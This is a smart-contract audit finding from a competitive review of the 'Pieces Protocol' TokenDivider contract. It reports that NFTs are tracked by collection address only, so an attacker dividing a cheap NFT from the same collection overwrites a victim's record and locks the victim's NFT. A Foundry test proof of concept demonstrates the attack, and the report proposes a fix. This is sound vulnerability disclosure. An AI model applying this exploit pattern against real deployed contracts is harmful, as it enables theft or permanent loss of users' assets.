Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

`TokenDivider::nftToErc20Info` mapping does not take into account token ID, which leaves the possibility of permanent loss of NFT

Description: TokenDivider smart contract does not have the ability to distinguish between different NFTs issued by one smart contract. TokenDivider::nftToErc20Info holds a mapping of NFT address to ERC20 address. And token ID stored as struct field. This means that if a user A has an NFT with ID 0 and user B has an NFT with ID 1 from the same NFT contract address, the latest TokenDivider::divideNft call will overwrite the previous value.

Impact: This vulnerability allows malicious actors to overwrite the ERC20 information of an NFT with the same contract address but a different token ID. This results in potential permanent loss of ownership for the original NFT owner.
An attacker can register their cheap NFT (same contract address, different token ID) to overwrite the valuable NFT's ERC20 address, making it impossible for the original owner to reclaim their NFT.
This issue represents a high-severity vulnerability due to the direct risk of asset loss and the systemic failure of the intended contract logic.

Proof of Concept:

Create new file at test/TokenDivider.t.sol with the following content:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {ERC721Burnable} from "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Test} from "forge-std/Test.sol";
import {TokenDivider} from "src/TokenDivider.sol";
contract MyToken is ERC721, ERC721Burnable {
constructor(address initialOwner) ERC721("MyToken", "MTK"){}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
}
contract TokenDividerTest is Test {
function test_uncheckedNftTokenId() public {
MyToken nft = new MyToken(address(this));
TokenDivider tokenDivider = new TokenDivider();
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
// mint valuable NFT
nft.safeMint(victim, 0);
// mint cheap NFT
nft.safeMint(attacker, 1);
assertEq(nft.ownerOf(0), victim);
assertEq(nft.ownerOf(1), attacker);
// divide valuable NFT
vm.prank(victim);
nft.approve(address(tokenDivider), 0);
vm.prank(victim);
tokenDivider.divideNft(address(nft), 0, 200);
// erc20 info of valuable NFT
TokenDivider.ERC20Info memory erc20valuableNft = tokenDivider.getErc20InfoFromNft(address(nft));
vm.prank(victim);
IERC20(erc20valuableNft.erc20Address).approve(address(tokenDivider), 200);
assertEq(nft.ownerOf(0), address(tokenDivider));
// divide cheap NFT
vm.prank(attacker);
nft.approve(address(tokenDivider), 1);
vm.prank(attacker);
tokenDivider.divideNft(address(nft), 1, 200);
assertEq(nft.ownerOf(1), address(tokenDivider));
// erc20 info of cheap NFT
TokenDivider.ERC20Info memory erc20cheapNft = tokenDivider.getErc20InfoFromNft(address(nft));
// cheap NFT owner rewrote the erc20 address of valuable NFT
assertNotEq(erc20valuableNft.erc20Address, erc20cheapNft.erc20Address);
// victim tries to claim back his valuable NFT and fails
vm.prank(victim);
tokenDivider.claimNft(address(nft));
}
}

Recommended Mitigation: Instead of storing token ID in the struct, it is recommended to store it in a mapping with the NFT address as the key. This way, the contract can distinguish between different NFTs issued by the same smart contract.

- mapping(address nft => ERC20Info) nftToErc20Info;
+ mapping(address => mapping(uint256 => address)) public nftToErc20Info;
^ ^ ^
| | ERC20 address
| NFT token ID
NFT smart contract address

It will require to update the following functions:

- function claimNft(address nftAddress) external {
+ function claimNft(address nftAddress, uint256 tokenId) external {
- function transferErcTokens(address nftAddress, address to, uint256 amount) external {
+ function transferErcTokens(address nftAddress, uint256 tokenId, address to, uint256 amount) external {
- function sellErc20(address nftPegged, uint256 price, uint256 amount) external {
+ function sellErc20(address nftPegged, uint256 tokenId, uint256 price, uint256 amount) external {
- function getErc20InfoFromNft(address nft) public view returns (ERC20Info memory) {
+ function getErc20InfoFromNft(address nft, uint256 tokenId) public view returns (address) {
Updates

Lead Judging Commences

fishy Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong nft collection handling

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.